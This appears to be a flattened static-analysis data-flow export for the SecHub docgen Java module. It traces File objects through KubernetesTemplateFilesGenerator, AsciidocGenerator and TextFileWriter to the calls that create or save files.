java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 3 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 4 + folder + + 6 + + + 287 + return folder; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 280 + 22 + 5 + assertExists + + 1 + + + 280 + return assertExists(new File(ensureSecHubServerFolder(), "kubernetes")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 267 + 54 + 6 + ensureKubernetesFolder + + 1 + + + 267 + return assertExists(new File(ensureKubernetesFolder(), "gen/")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 7 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 8 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 9 + folder + + 6 + + + 287 + return folder; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 267 + 22 + 10 + assertExists + + 1 + + + 267 + return assertExists(new File(ensureKubernetesFolder(), "gen/")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 59 + 72 + 11 + ensureKubernetesGenFolder + + 1 + + + 59 + File generatedDeploymentFilePart = new File(ensureKubernetesGenFolder(), + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 59 + 8 + 12 + generatedDeploymentFilePart + + 27 + + + 59 + File generatedDeploymentFilePart = new File(ensureKubernetesGenFolder(), + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 61 + 15 + 13 + generatedDeploymentFilePart + + 27 + + + 61 + writer.save(generatedDeploymentFilePart, result.serverDeploymentYaml); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 14 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 15 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 16 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 17 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 18 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 19 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 20 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 21 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 263 + 23 + 1 + File + + 3 + + + 263 + return assertExists(new File(ensureKubernetesFolder(), "secret/")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 2 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 3 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 4 + folder + + 6 + + + 287 + return folder; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 263 + 22 + 5 + assertExists + + 1 + + + 263 + return assertExists(new File(ensureKubernetesFolder(), "secret/")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 154 + 51 + 6 + ensureSecretFolder + + 1 + + + 154 + File kubernetesSecretFolder = ensureSecretFolder(); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 154 + 8 + 7 + kubernetesSecretFolder + + 22 + + + 154 + File kubernetesSecretFolder = ensureSecretFolder(); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 156 + 29 + 8 + kubernetesSecretFolder + + 22 + + + 156 + File envFolder = new File(kubernetesSecretFolder, e.folderName()); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 156 + 8 + 9 + envFolder + + 9 + + + 156 + File envFolder = new File(kubernetesSecretFolder, e.folderName()); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 157 + 8 + 10 + envFolder + + 9 + + + 157 + if (!envFolder.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 161 + 10 + 11 + envFolder + + 9 + + + 161 + return envFolder; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 149 + 35 + 12 + ensureEnvFolder + + 1 + + + 149 + File envFolder = ensureEnvFolder(e); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 149 + 8 + 13 + envFolder + + 9 + + + 149 + File envFolder = ensureEnvFolder(e); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 150 + 43 + 14 + envFolder + + 9 + + + 150 + createSecretShellScriptAndFiles(result, envFolder, e); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 164 + 76 + 15 + targetFolder + + 12 + + + 164 + private void createSecretShellScriptAndFiles(KubernetesFiles result, File targetFolder, KubernetesEnvironment e) + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 192 + 22 + 16 + targetFolder + + 12 + + + 192 + ensureSecretFile(targetFolder, fileName); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 249 + 37 + 17 + targetFolder + + 12 + + + 249 + private void ensureSecretFile(File targetFolder, String fileName) throws IOException { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 250 + 30 + 18 + targetFolder + + 12 + + + 250 + File secretFile = new File(targetFolder, fileName); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 250 + 8 + 19 + secretFile + + 10 + + + 250 + File secretFile = new File(targetFolder, fileName); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 251 + 8 + 20 + secretFile + + 10 + + + 251 + if (!secretFile.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 252 + 9 + 21 + secretFile + + 10 + + + 252 + if (!secretFile.createNewFile()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 252 + 33 + 22 + createNewFile + + 1 + + + 252 + if (!secretFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 263 + 23 + 1 + File + + 3 + + + 263 + return assertExists(new File(ensureKubernetesFolder(), "secret/")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 2 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 3 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 4 + folder + + 6 + + + 287 + return folder; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 263 + 22 + 5 + assertExists + + 1 + + + 263 + return assertExists(new File(ensureKubernetesFolder(), "secret/")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 154 + 51 + 6 + ensureSecretFolder + + 1 + + + 154 + File kubernetesSecretFolder = ensureSecretFolder(); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 154 + 8 + 7 + kubernetesSecretFolder + + 22 + + + 154 + File kubernetesSecretFolder = ensureSecretFolder(); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 156 + 29 + 8 + kubernetesSecretFolder + + 22 + + + 156 + File envFolder = new File(kubernetesSecretFolder, e.folderName()); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 156 + 8 + 9 + envFolder + + 9 + + + 156 + File envFolder = new File(kubernetesSecretFolder, e.folderName()); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 157 + 8 + 10 + envFolder + + 9 + + + 157 + if (!envFolder.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 161 + 10 + 11 + envFolder + + 9 + + + 161 + return envFolder; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 149 + 35 + 12 + ensureEnvFolder + + 1 + + + 149 + File envFolder = ensureEnvFolder(e); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 149 + 8 + 13 + envFolder + + 9 + + + 149 + File envFolder = ensureEnvFolder(e); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 150 + 43 + 14 + envFolder + + 9 + + + 150 + createSecretShellScriptAndFiles(result, envFolder, e); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 164 + 76 + 15 + targetFolder + + 12 + + + 164 + private void createSecretShellScriptAndFiles(KubernetesFiles result, File targetFolder, KubernetesEnvironment e) + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 218 + 30 + 16 + targetFolder + + 12 + + + 218 + File targetFile = new File(targetFolder, createShellScriptName("all")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 218 + 8 + 17 + targetFile + + 10 + + + 218 + File targetFile = new File(targetFolder, createShellScriptName("all")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 219 + 15 + 18 + targetFile + + 10 + + + 219 + writer.save(targetFile, sb.toString(), true); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 19 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 20 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 21 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 22 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 23 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 24 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 156 + 20 + 1 + File + + 3 + + + 156 + File envFolder = new File(kubernetesSecretFolder, e.folderName()); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 156 + 8 + 2 + envFolder + + 9 + + + 156 + File envFolder = new File(kubernetesSecretFolder, e.folderName()); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 157 + 8 + 3 + envFolder + + 9 + + + 157 + if (!envFolder.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 161 + 10 + 4 + envFolder + + 9 + + + 161 + return envFolder; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 149 + 35 + 5 + ensureEnvFolder + + 1 + + + 149 + File envFolder = ensureEnvFolder(e); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 149 + 8 + 6 + envFolder + + 9 + + + 149 + File envFolder = ensureEnvFolder(e); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 150 + 43 + 7 + envFolder + + 9 + + + 150 + createSecretShellScriptAndFiles(result, envFolder, e); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 164 + 76 + 8 + targetFolder + + 12 + + + 164 + private void createSecretShellScriptAndFiles(KubernetesFiles result, File targetFolder, KubernetesEnvironment e) + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 192 + 22 + 9 + targetFolder + + 12 + + + 192 + ensureSecretFile(targetFolder, fileName); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 249 + 37 + 10 + targetFolder + + 12 + + + 249 + private void ensureSecretFile(File targetFolder, String fileName) throws IOException { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 250 + 30 + 11 + targetFolder + + 12 + + + 250 + File secretFile = new File(targetFolder, fileName); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 250 + 8 + 12 + secretFile + + 10 + + + 250 + File secretFile = new File(targetFolder, fileName); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 251 + 8 + 13 + secretFile + + 10 + + + 251 + if (!secretFile.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 252 + 9 + 14 + secretFile + + 10 + + + 252 + if (!secretFile.createNewFile()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 252 + 33 + 15 + createNewFile + + 1 + + + 252 + if (!secretFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 156 + 20 + 1 + File + + 3 + + + 156 + File envFolder = new File(kubernetesSecretFolder, e.folderName()); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 156 + 8 + 2 + envFolder + + 9 + + + 156 + File envFolder = new File(kubernetesSecretFolder, e.folderName()); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 157 + 8 + 3 + envFolder + + 9 + + + 157 + if (!envFolder.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 161 + 10 + 4 + envFolder + + 9 + + + 161 + return envFolder; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 149 + 35 + 5 + ensureEnvFolder + + 1 + + + 149 + File envFolder = ensureEnvFolder(e); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 149 + 8 + 6 + envFolder + + 9 + + + 149 + File envFolder = ensureEnvFolder(e); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 150 + 43 + 7 + envFolder + + 9 + + + 150 + createSecretShellScriptAndFiles(result, envFolder, e); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 164 + 76 + 8 + targetFolder + + 12 + + + 164 + private void createSecretShellScriptAndFiles(KubernetesFiles result, File targetFolder, KubernetesEnvironment e) + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 218 + 30 + 9 + targetFolder + + 12 + + + 218 + File targetFile = new File(targetFolder, createShellScriptName("all")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 218 + 8 + 10 + targetFile + + 10 + + + 218 + File targetFile = new File(targetFolder, createShellScriptName("all")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 219 + 15 + 11 + targetFile + + 10 + + + 219 + writer.save(targetFile, sb.toString(), true); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 12 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 13 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 14 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 15 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 16 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 17 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 250 + 21 + 1 + File + + 3 + + + 250 + File secretFile = new File(targetFolder, fileName); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 250 + 8 + 2 + secretFile + + 10 + + + 250 + File secretFile = new File(targetFolder, fileName); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 251 + 8 + 3 + secretFile + + 10 + + + 251 + if (!secretFile.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 252 + 9 + 4 + secretFile + + 10 + + + 252 + if (!secretFile.createNewFile()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 252 + 33 + 5 + createNewFile + + 1 + + + 252 + if (!secretFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 34 + 29 + 1 + File + + 3 + + + 34 + File documentsGenFolder = new File(path); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 34 + 8 + 2 + documentsGenFolder + + 18 + + + 34 + File documentsGenFolder = new File(path); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 35 + 26 + 3 + documentsGenFolder + + 18 + + + 35 + File documentsFolder = documentsGenFolder.getParentFile(); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 56 + 34 + 4 + documentsGenFolder + + 18 + + + 56 + generator.generateUseCaseFiles(documentsGenFolder); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 64 + 41 + 5 + documentsGenFolder + + 18 + + + 64 + private void generateUseCaseFiles(File documentsGenFolder) throws IOException { + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 70 + 30 + 6 + documentsGenFolder + + 18 + + + 70 + File targetFile = new File(documentsGenFolder, "gen_usecases.adoc"); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 70 + 8 + 7 + targetFile + + 10 + + + 70 + File targetFile = new File(documentsGenFolder, "gen_usecases.adoc"); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 71 + 15 + 8 + targetFile + + 10 + + + 71 + writer.save(targetFile, useCaseAsciidoc); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 9 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 10 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 11 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 12 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 13 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 14 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 15 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 16 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 100 + 10 + 1 + File + + 3 + + + 100 + return new File(genFolder, "gen_systemproperties.adoc"); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 40 + 60 + 2 + createSystemProperyTargetFile + + 1 + + + 40 + File systemProperitesFile = createSystemProperyTargetFile(documentsGenFolder); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 40 + 8 + 3 + systemProperitesFile + + 20 + + + 40 + File systemProperitesFile = createSystemProperyTargetFile(documentsGenFolder); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 48 + 49 + 4 + systemProperitesFile + + 20 + + + 48 + generator.generateSystemPropertiesDescription(systemProperitesFile); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 122 + 55 + 5 + targetFile + + 10 + + + 122 + public void generateSystemPropertiesDescription(File targetFile) throws IOException { + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 124 + 15 + 6 + targetFile + + 10 + + + 124 + writer.save(targetFile, text); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 7 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 8 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 9 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 10 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 11 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 12 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 13 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 14 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 96 + 10 + 1 + File + + 3 + + + 96 + return new File(genFolder, "gen_scheduling.adoc"); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 41 + 69 + 2 + createScheduleDescriptionTargetFile + + 1 + + + 41 + File scheduleDescriptionFile = createScheduleDescriptionTargetFile(documentsGenFolder); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 41 + 8 + 3 + scheduleDescriptionFile + + 23 + + + 41 + File scheduleDescriptionFile = createScheduleDescriptionTargetFile(documentsGenFolder); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 50 + 41 + 4 + scheduleDescriptionFile + + 23 + + + 50 + generator.generateScheduleDescription(scheduleDescriptionFile); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 127 + 47 + 5 + targetFile + + 10 + + + 127 + public void generateScheduleDescription(File targetFile) throws IOException { + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 129 + 15 + 6 + targetFile + + 10 + + + 129 + writer.save(targetFile, text); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 7 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 8 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 9 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 10 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 11 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 12 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 13 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 14 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 108 + 10 + 1 + File + + 3 + + + 108 + return new File(genFolder, "gen_mockadapterproperties.adoc"); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 42 + 91 + 2 + createSpecialMockConfigurationPropertiesTargetFile + + 1 + + + 42 + File specialMockValuePropertiesFile = createSpecialMockConfigurationPropertiesTargetFile(documentsGenFolder); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 42 + 8 + 3 + specialMockValuePropertiesFile + + 30 + + + 42 + File specialMockValuePropertiesFile = createSpecialMockConfigurationPropertiesTargetFile(documentsGenFolder); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 52 + 47 + 4 + specialMockValuePropertiesFile + + 30 + + + 52 + generator.generateMockPropertiesDescription(specialMockValuePropertiesFile); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 132 + 54 + 5 + targetFile + + 10 + + + 132 + private void generateMockPropertiesDescription(File targetFile) throws IOException { + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 134 + 15 + 6 + targetFile + + 10 + + + 134 + writer.save(targetFile, text); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 7 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 8 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 9 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 10 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 11 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 12 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 13 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 14 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 36 + 25 + 1 + File + + 3 + + + 36 + File diagramsFolder = new File(documentsFolder.getParentFile(), "diagrams"); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 36 + 8 + 2 + diagramsFolder + + 14 + + + 36 + File diagramsFolder = new File(documentsFolder.getParentFile(), "diagrams"); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 37 + 37 + 3 + diagramsFolder + + 14 + + + 37 + File diagramsGenFolder = new File(diagramsFolder, "gen"); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 37 + 8 + 4 + diagramsGenFolder + + 17 + + + 37 + File diagramsGenFolder = new File(diagramsFolder, "gen"); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 55 + 51 + 5 + diagramsGenFolder + + 17 + + + 55 + generator.generateMessagingFiles(messagingFile, diagramsGenFolder); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 59 + 63 + 6 + diagramsGenFolder + + 17 + + + 59 + private void generateMessagingFiles(File messagingFile, File diagramsGenFolder) throws IOException { + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 61 + 71 + 7 + diagramsGenFolder + + 17 + + + 61 + domainMessagingFilesGenerator.generateMessagingFiles(messagingFile, diagramsGenFolder, model); + + + + + 